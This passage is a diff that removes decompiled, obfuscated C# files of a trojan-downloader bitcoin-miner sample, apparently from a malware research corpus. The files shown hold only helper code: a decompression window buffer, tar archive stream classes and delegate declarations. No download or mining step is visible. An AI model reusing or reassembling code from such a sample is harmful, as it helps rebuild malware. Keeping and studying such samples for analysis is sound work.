}
}
}

116
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_000E_0002/_0015.cs
View File

@ -1,116 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using \u000E;
using \u000E\u0002;
using System;
using System.Runtime.InteropServices;
namespace \u000E\u0002
{
internal sealed class \u0015
{
private byte[] \u0001 = new byte[32768];
private int \u0002;
private int \u0003;
public void Write([In] int obj0)
{
\u0015 obj = this;
int num1;
int num2 = num1 = obj.\u0003;
obj.\u0003 = num1 + 1;
if (num2 == 32768)
throw new InvalidOperationException(\u0008.\u000E\u0003(3139));
this.\u0001[this.\u0002++] = (byte) obj0;
this.\u0002 &= (int) short.MaxValue;
}
private void \u001B\u0003([In] int obj0, [In] int obj1, [In] int obj2)
{
while (obj1-- > 0)
{
byte[] numArray = this.\u0001;
\u0015 obj = this;
int num1;
int num2 = num1 = obj.\u0002;
obj.\u0002 = num1 + 1;
int index = num2;
int num3 = (int) this.\u0001[obj0++];
numArray[index] = (byte) num3;
this.\u0002 &= (int) short.MaxValue;
obj0 &= (int) short.MaxValue;
}
}
public void \u001C\u0003([In] int obj0, [In] int obj1)
{
if ((this.\u0003 += obj0) > 32768)
throw new InvalidOperationException(\u0008.\u000E\u0003(3139));
int num1 = this.\u0002 - obj1 & (int) short.MaxValue;
int num2 = 32768 - obj0;
if (num1 <= num2 && this.\u0002 < num2)
{
if (obj0 <= obj1)
{
\u008F\u0003.\u0098((Array) this.\u0001, num1, (Array) this.\u0001, this.\u0002, obj0);
this.\u0002 += obj0;
}
else
{
while (obj0-- > 0)
this.\u0001[this.\u0002++] = this.\u0001[num1++];
}
}
else
this.\u001B\u0003(num1, obj0, obj1);
}
public int \u001D\u0003([In] \u0014 obj0, [In] int obj1)
{
obj1 = \u0013\u0005.\u0087\u0003(\u0013\u0005.\u0087\u0003(obj1, 32768 - this.\u0003), obj0.\u0016\u0003());
int num1 = 32768 - this.\u0002;
int num2;
if (obj1 > num1)
{
num2 = obj0.\u0019\u0003(this.\u0001, this.\u0002, num1);
if (num2 == num1)
num2 += obj0.\u0019\u0003(this.\u0001, 0, obj1 - num1);
}
else
num2 = obj0.\u0019\u0003(this.\u0001, this.\u0002, obj1);
this.\u0002 = this.\u0002 + num2 & (int) short.MaxValue;
this.\u0003 += num2;
return num2;
}
public int \u001E\u0003() => 32768 - this.\u0003;
public int \u001F\u0003() => this.\u0003;
public int \u007F\u0003([In] byte[] obj0, [In] int obj1, [In] int obj2)
{
int num1 = this.\u0002;
if (obj2 > this.\u0003)
obj2 = this.\u0003;
else
num1 = this.\u0002 - this.\u0003 + obj2 & (int) short.MaxValue;
int num2 = obj2;
int num3 = obj2 - num1;
if (num3 > 0)
{
\u008F\u0003.\u0098((Array) this.\u0001, 32768 - num3, (Array) obj0, obj1, num3);
obj1 += num3;
obj2 = num1;
}
\u008F\u0003.\u0098((Array) this.\u0001, num1 - obj2, (Array) obj0, obj1, obj2);
this.\u0003 -= num2;
if (this.\u0003 < 0)
throw new InvalidOperationException();
return num2;
}
}
}

64
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_000E_0002/_0016_0002.cs
View File

@ -1,64 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using \u0017\u0002;
using System.IO;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
namespace \u000E\u0002
{
internal sealed class \u0016\u0002
{
private int \u0001;
private byte[] \u0002;
private int \u0003;
private byte[] \u0004;
private int \u0005;
private ICryptoTransform \u0006;
private Stream \u0007;
public \u0016\u0002([In] Stream obj0, [In] int obj1)
{
this.\u0007 = obj0;
if (obj1 < 1024)
obj1 = 1024;
this.\u0002 = new byte[obj1];
this.\u0004 = this.\u0002;
}
[SpecialName]
public int \u0084\u0004() => this.\u0001;
[SpecialName]
public int \u0086\u0004() => this.\u0005;
public void \u0087\u0004([In] \u0013 obj0)
{
if (this.\u0005 <= 0)
return;
obj0.\u001A\u0003(this.\u0004, this.\u0003 - this.\u0005, this.\u0005);
this.\u0005 = 0;
}
public void \u009C\u0003()
{
this.\u0001 = 0;
int num;
for (int length = this.\u0002.Length; length > 0; length -= num)
{
num = \u0089\u0005.\u007E\u000F\u0005((object) this.\u0007, this.\u0002, this.\u0001, length);
if (num > 0)
this.\u0001 += num;
else
break;
}
this.\u0003 = this.\u0006 == null ? this.\u0001 : \u0094\u0003.\u007E\u0099\u0005((object) this.\u0006, this.\u0002, 0, this.\u0001, this.\u0004, 0);
this.\u0005 = this.\u0003;
}
}
}

9
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_000E_0003.cs
View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System.Runtime.InteropServices;
internal delegate byte[] \u000E\u0003([In] string obj0);

10
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_000E_0004.cs
View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System.Collections;
using System.Runtime.InteropServices;
internal delegate IEnumerator \u000E\u0004([In] object obj0);

10
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_000E_0005.cs
View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System.IO;
using System.Runtime.InteropServices;
internal delegate Stream \u000E\u0005([In] object obj0, [In] string obj1);

9
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_000F_0003.cs
View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System.Runtime.InteropServices;
internal delegate void \u000F\u0003([In] object obj0, [In] int obj1, [In] char obj2);

9
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_000F_0004.cs
View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System.Runtime.InteropServices;
internal delegate int \u000F\u0004([In] object obj0, [In] string obj1);

10
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_000F_0005.cs
View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System.Drawing;
using System.Runtime.InteropServices;
internal delegate void \u000F\u0005([In] object obj0, [In] Size obj1);

25
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0010/_000F.cs
View File

@ -1,25 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using \u0006;
using System;
namespace \u0010
{
internal sealed class \u000F
{
public static void \u0007\u0003()
{
try
{
\u00062.\u0089();
}
catch (Exception ex)
{
}
}
}
}

60
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0010_0002/_000F_0002.cs
View File

@ -1,60 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using \u0010\u0002;
using System;
using System.Runtime.InteropServices;
namespace \u0010\u0002
{
internal sealed class \u000F\u0002 : IDisposable
{
private string \u0001 = string.Empty;
private string \u0002 = string.Empty;
private \u0014\u0002 \u0003;
private \u0015\u0002 \u0004;
private bool \u0005;
protected \u000F\u0002()
{
}
public void Dispose()
{
this.Dispose(true);
\u0093\u0003.\u007F\u0003((object) this);
}
protected virtual void Dispose([In] bool obj0)
{
if (this.\u0005)
return;
this.\u0005 = true;
if (!obj0)
return;
if (this.\u0004 != null)
{
\u0093\u0003.\u007E\u0007\u0005((object) this.\u0004);
\u0093\u0003.\u007E\u0006\u0005((object) this.\u0004);
}
if (this.\u0003 == null)
return;
\u0093\u0003.\u007E\u0006\u0005((object) this.\u0003);
}
~\u000F\u0002()
{
try
{
this.Dispose(false);
}
finally
{
\u0093\u0003.\u0096((object) this);
}
}
}
}

140
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0010_0002/_0011_0002.cs
View File

@ -1,140 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using \u000E;
using ICSharpCode.SharpZipLib.Tar;
using System;
using System.IO;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0010\u0002
{
internal sealed class \u0011\u0002
{
private Stream \u0001;
private Stream \u0002;
private byte[] \u0003;
private int \u0004;
private int \u0005;
private int \u0006 = 10240;
private int \u0007 = 20;
private bool \u0008 = true;
[SpecialName]
public int \u009D\u0003() => this.\u0006;
[SpecialName]
public int \u009E\u0003() => this.\u0007;
protected \u0011\u0002()
{
}
public byte[] \u009F\u0003()
{
if (this.\u0001 == null)
throw new TarException(\u0008.\u000E\u0003(1870));
if (this.\u0004 >= this.\u009E\u0003() && !this.\u0001\u0004())
throw new TarException(\u0008.\u000E\u0003(1931));
byte[] numArray = new byte[512];
\u008F\u0003.\u0098((Array) this.\u0003, this.\u0004 * 512, (Array) numArray, 0, 512);
++this.\u0004;
return numArray;
}
private bool \u0001\u0004()
{
if (this.\u0001 == null)
throw new TarException(\u0008.\u000E\u0003(1964));
this.\u0004 = 0;
int num1 = 0;
long num2;
for (int index = this.\u009D\u0003(); index > 0; index -= (int) num2)
{
num2 = (long) \u0089\u0005.\u007E\u000F\u0005((object) this.\u0001, this.\u0003, num1, index);
if (num2 > 0L)
num1 += (int) num2;
else
break;
}
++this.\u0005;
return true;
}
public void \u0002\u0004([In] byte[] obj0)
{
if (obj0 == null)
throw new ArgumentNullException(\u0008.\u000E\u0003(2005));
if (this.\u0002 == null)
throw new TarException(\u0008.\u000E\u0003(2014));
if (obj0.Length != 512)
throw new TarException(\u001D\u0003.\u001A\u0002(\u0008.\u000E\u0003(2079), (object) obj0.Length, (object) 512));
if (this.\u0004 >= this.\u009E\u0003())
this.\u0003\u0004();
\u008F\u0003.\u0098((Array) obj0, 0, (Array) this.\u0003, this.\u0004 * 512, 512);
++this.\u0004;
}
public void \u0002\u0004([In] byte[] obj0, [In] int obj1)
{
if (obj0 == null)
throw new ArgumentNullException(\u0008.\u000E\u0003(568));
if (this.\u0002 == null)
throw new TarException(\u0008.\u000E\u0003(2204));
if (obj1 < 0 || obj1 >= obj0.Length)
throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(577));
if (obj1 + 512 > obj0.Length)
throw new TarException(\u0091\u0004.\u001B\u0002(\u0008.\u000E\u0003(2277), (object) obj0.Length, (object) obj1, (object) this.\u0006));
if (this.\u0004 >= this.\u009E\u0003())
this.\u0003\u0004();
\u008F\u0003.\u0098((Array) obj0, obj1, (Array) this.\u0003, this.\u0004 * 512, 512);
++this.\u0004;
}
private void \u0003\u0004()
{
if (this.\u0002 == null)
throw new TarException(\u0008.\u000E\u0003(2423));
\u001F\u0004.\u007E\u0011\u0005((object) this.\u0002, this.\u0003, 0, this.\u009D\u0003());
\u0093\u0003.\u007E\u0007\u0005((object) this.\u0002);
this.\u0004 = 0;
++this.\u0005;
}
private void \u0004\u0004()
{
if (this.\u0002 == null)
throw new TarException(\u0008.\u000E\u0003(2488));
if (this.\u0004 > 0)
{
int num = this.\u0004 * 512;
\u0099\u0004.\u0099((Array) this.\u0003, num, this.\u009D\u0003() - num);
this.\u0003\u0004();
}
\u0093\u0003.\u007E\u0007\u0005((object) this.\u0002);
}
public void Close()
{
if (this.\u0002 == null)
{
if (this.\u0001 == null)
return;
if (this.\u0008)
\u0093\u0003.\u007E\u0006\u0005((object) this.\u0001);
this.\u0001 = (Stream) null;
}
else
{
this.\u0004\u0004();
if (this.\u0008)
\u0093\u0003.\u007E\u0006\u0005((object) this.\u0002);
this.\u0002 = (Stream) null;
}
}
}
}

40
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0010_0002/_0012_0002.cs
View File

@ -1,40 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using \u0010\u0002;
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0010\u0002
{
internal sealed class \u0012\u0002 : ICloneable
{
private string \u0001;
private \u0013\u0002 \u0002;
private \u0012\u0002() => this.\u0002 = new \u0013\u0002();
public object Clone()
{
\u0012\u0002 obj = new \u0012\u0002();
obj.\u0001 = this.\u0001;
obj.\u0002 = (\u0013\u0002) this.\u0002.Clone();
obj.\u0006\u0004(this.\u0005\u0004());
return (object) obj;
}
public override bool Equals([In] object obj0) => obj0 is \u0012\u0002 obj && \u0006\u0004.\u007E\u009F((object) this.\u0005\u0004(), obj.\u0005\u0004());
public override int GetHashCode() => \u0011\u0003.\u007E\u0095((object) this.\u0005\u0004());
[SpecialName]
public string \u0005\u0004() => this.\u0002.\u0005\u0004();
[SpecialName]
public void \u0006\u0004([In] string obj0) => this.\u0002.\u0006\u0004(obj0);
}
}

192
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0010_0002/_0013_0002.cs
View File

@ -1,192 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using \u000E;
using \u0010\u0002;
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0010\u0002
{
internal sealed class \u0013\u0002 : ICloneable
{
private static readonly DateTime \u0001 = new DateTime(1970, 1, 1, 0, 0, 0, 0);
private string \u0002;
private int \u0003;
private int \u0004;
private int \u0005;
private long \u0006;
private DateTime \u0007;
private int \u0008;
private byte \u000E;
private string \u000F;
private string \u0010;
private string \u0011;
private string \u0012;
private string \u0013;
private int \u0014;
private int \u0015;
internal static string \u0016 = \u0008.\u000E\u0003(2604);
internal static int \u0017;
internal static int \u0018;
internal static string \u0019 = \u0008.\u000E\u0003(2604);
internal static string \u001A;
public \u0013\u0002()
{
this.\u0018\u0004(\u0008.\u000E\u0003(2557));
this.\u001A\u0004(\u0008.\u000E\u0003(2566));
this.\u0006\u0004(\u0008.\u000E\u0003(837));
this.\u0016\u0004(\u0008.\u000E\u0003(837));
this.\u0008\u0004(\u0013\u0002.\u0017);
this.\u000F\u0004(\u0013\u0002.\u0018);
this.\u001C\u0004(\u0013\u0002.\u001A);
this.\u001E\u0004(\u0013\u0002.\u0019);
this.\u0011\u0004(0L);
}
[SpecialName]
public string \u0005\u0004() => this.\u0002;
[SpecialName]
public void \u0006\u0004([In] string obj0)
{
switch (obj0)
{
case null:
throw new ArgumentNullException(\u0008.\u000E\u0003(943));
default:
this.\u0002 = obj0;
break;
}
}
[SpecialName]
public int \u0007\u0004() => this.\u0004;
[SpecialName]
public void \u0008\u0004([In] int obj0) => this.\u0004 = obj0;
[SpecialName]
public int \u000E\u0004() => this.\u0005;
[SpecialName]
public void \u000F\u0004([In] int obj0) => this.\u0005 = obj0;
[SpecialName]
public long \u0010\u0004() => this.\u0006;
[SpecialName]
public void \u0011\u0004([In] long obj0) => this.\u0006 = obj0 >= 0L ? obj0 : throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(943), \u0008.\u000E\u0003(2571));
[SpecialName]
public DateTime \u0012\u0004() => this.\u0007;
[SpecialName]
public int \u0013\u0004() => this.\u0008;
[SpecialName]
public byte \u0014\u0004() => this.\u000E;
[SpecialName]
public string \u0015\u0004() => this.\u000F;
[SpecialName]
public void \u0016\u0004([In] string obj0)
{
switch (obj0)
{
case null:
throw new ArgumentNullException(\u0008.\u000E\u0003(943));
default:
this.\u000F = obj0;
break;
}
}
[SpecialName]
public string \u0017\u0004() => this.\u0010;
[SpecialName]
public void \u0018\u0004([In] string obj0)
{
switch (obj0)
{
case null:
throw new ArgumentNullException(\u0008.\u000E\u0003(943));
default:
this.\u0010 = obj0;
break;
}
}
[SpecialName]
public string \u0019\u0004() => this.\u0011;
[SpecialName]
public void \u001A\u0004([In] string obj0)
{
switch (obj0)
{
case null:
throw new ArgumentNullException(\u0008.\u000E\u0003(943));
default:
this.\u0011 = obj0;
break;
}
}
[SpecialName]
public string \u001B\u0004() => this.\u0012;
[SpecialName]
public void \u001C\u0004([In] string obj0)
{
switch (obj0)
{
case null:
string str = \u0083\u0005.\u001B\u0003();
if (\u0011\u0003.\u007E\u0004\u0002((object) str) > 32)
str = \u001A\u0005.\u007E\u0007\u0002((object) str, 0, 32);
this.\u0012 = str;
break;
default:
this.\u0012 = \u001A\u0005.\u007E\u0007\u0002((object) obj0, 0, \u0013\u0005.\u0087\u0003(32, \u0011\u0003.\u007E\u0004\u0002((object) obj0)));
break;
}
}
[SpecialName]
public string \u001D\u0004() => this.\u0013;
[SpecialName]
public void \u001E\u0004([In] string obj0)
{
switch (obj0)
{
case null:
this.\u0013 = \u0008.\u000E\u0003(2604);
break;
default:
this.\u0013 = obj0;
break;
}
}
[SpecialName]
public int \u001F\u0004() => this.\u0014;
[SpecialName]
public int \u007F\u0004() => this.\u0015;
public object Clone() => \u001B\u0005.\u0097((object) this);
public override int GetHashCode() => \u0011\u0003.\u007E\u0095((object) this.\u0005\u0004());
public override bool Equals([In] object obj0) => obj0 is \u0013\u0002 obj && \u0080\u0005.\u0001\u0002(this.\u0002, obj.\u0002) && this.\u0003 == obj.\u0003 && this.\u0007\u0004() == obj.\u0007\u0004() && this.\u000E\u0004() == obj.\u000E\u0004() && this.\u0010\u0004() == obj.\u0010\u0004() && \u0017\u0005.\u009C\u0002(this.\u0012\u0004(), obj.\u0012\u0004()) && this.\u0013\u0004() == obj.\u0013\u0004() && (int) this.\u0014\u0004() == (int) obj.\u0014\u0004() && \u0080\u0005.\u0001\u0002(this.\u0015\u0004(), obj.\u0015\u0004()) && \u0080\u0005.\u0001\u0002(this.\u0017\u0004(), obj.\u0017\u0004()) && \u0080\u0005.\u0001\u0002(this.\u0019\u0004(), obj.\u0019\u0004()) && \u0080\u0005.\u0001\u0002(this.\u001B\u0004(), obj.\u001B\u0004()) && \u0080\u0005.\u0001\u0002(this.\u001D\u0004(), obj.\u001D\u0004()) && this.\u001F\u0004() == obj.\u001F\u0004() && this.\u007F\u0004() == obj.\u007F\u0004();
}
}

116
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0010_0002/_0014_0002.cs
View File

@ -1,116 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using \u000E;
using \u0010\u0002;
using ICSharpCode.SharpZipLib.Tar;
using System;
using System.IO;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0010\u0002
{
internal sealed class \u0014\u0002 : Stream
{
protected long \u0001;
protected long \u0002;
protected byte[] \u0003;
protected \u0011\u0002 \u0004;
private readonly Stream \u0005;
[SpecialName]
public override bool get_CanRead() => \u0007\u0003.\u007E\u009E\u0004((object) this.\u0005);
[SpecialName]
public override bool get_CanSeek() => false;
[SpecialName]
public override bool get_CanWrite() => false;
[SpecialName]
public override long get_Length() => \u007F\u0004.\u007E\u0003\u0005((object) this.\u0005);
[SpecialName]
public override long get_Position() => \u007F\u0004.\u007E\u0004\u0005((object) this.\u0005);
[SpecialName]
public override void set_Position([In] long obj0) => throw new NotSupportedException(\u0008.\u000E\u0003(2613));
public override void Flush() => \u0093\u0003.\u007E\u0007\u0005((object) this.\u0005);
public override long Seek([In] long obj0, [In] SeekOrigin obj1) => throw new NotSupportedException(\u0008.\u000E\u0003(2613));
public override void SetLength([In] long obj0) => throw new NotSupportedException(\u0008.\u000E\u0003(2658));
public override void Write([In] byte[] obj0, [In] int obj1, [In] int obj2) => throw new NotSupportedException(\u0008.\u000E\u0003(2711));
public override void WriteByte([In] byte obj0) => throw new NotSupportedException(\u0008.\u000E\u0003(2760));
public override int ReadByte()
{
byte[] numArray = new byte[1];
return \u0089\u0005.\u007E\u000F\u0005((object) this, numArray, 0, 1) <= 0 ? -1 : (int) numArray[0];
}
public override int Read([In] byte[] obj0, [In] int obj1, [In] int obj2)
{
if (obj0 == null)
throw new ArgumentNullException(\u0008.\u000E\u0003(568));
int num1 = 0;
if (this.\u0002 >= this.\u0001)
return 0;
long num2 = (long) obj2;
if (num2 + this.\u0002 > this.\u0001)
num2 = this.\u0001 - this.\u0002;
if (this.\u0003 != null)
{
int num3 = num2 > (long) this.\u0003.Length ? this.\u0003.Length : (int) num2;
\u008F\u0003.\u0098((Array) this.\u0003, 0, (Array) obj0, obj1, num3);
if (num3 >= this.\u0003.Length)
{
this.\u0003 = (byte[]) null;
}
else
{
int length = this.\u0003.Length - num3;
byte[] numArray = new byte[length];
\u008F\u0003.\u0098((Array) this.\u0003, num3, (Array) numArray, 0, length);
this.\u0003 = numArray;
}
num1 += num3;
num2 -= (long) num3;
obj1 += num3;
}
while (num2 > 0L)
{
byte[] numArray = this.\u0004.\u009F\u0003();
if (numArray == null)
throw new TarException(\u0097\u0003.\u001D\u0002((object) \u0008.\u000E\u0003(2813), (object) num2, (object) \u0008.\u000E\u0003(2842)));
int num4 = (int) num2;
int length = numArray.Length;
if (length > num4)
{
\u008F\u0003.\u0098((Array) numArray, 0, (Array) obj0, obj1, num4);
this.\u0003 = new byte[length - num4];
\u008F\u0003.\u0098((Array) numArray, num4, (Array) this.\u0003, 0, length - num4);
}
else
{
num4 = length;
\u008F\u0003.\u0098((Array) numArray, 0, (Array) obj0, obj1, length);
}
num1 += num4;
num2 -= (long) num4;
obj1 += num4;
}
this.\u0002 += (long) num1;
return num1;
}
public override void Close() => this.\u0004.Close();
}
}

156
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0010_0002/_0015_0002.cs
View File

@ -1,156 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using \u000E;
using \u0010\u0002;
using ICSharpCode.SharpZipLib.Tar;
using System;
using System.IO;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0010\u0002
{
internal sealed class \u0015\u0002 : Stream
{
private long \u0001;
private int \u0002;
private bool \u0003;
protected long \u0004;
protected byte[] \u0005;
protected byte[] \u0006;
protected \u0011\u0002 \u0007;
protected Stream \u0008;
[SpecialName]
public override bool get_CanRead() => \u0007\u0003.\u007E\u009E\u0004((object) this.\u0008);
[SpecialName]
public override bool get_CanSeek() => \u0007\u0003.\u007E\u009F\u0004((object) this.\u0008);
[SpecialName]
public override bool get_CanWrite() => \u0007\u0003.\u007E\u0002\u0005((object) this.\u0008);
[SpecialName]
public override long get_Length() => \u007F\u0004.\u007E\u0003\u0005((object) this.\u0008);
[SpecialName]
public override long get_Position() => \u007F\u0004.\u007E\u0004\u0005((object) this.\u0008);
[SpecialName]
public override void set_Position([In] long obj0) => \u009F\u0004.\u007E\u0005\u0005((object) this.\u0008, obj0);
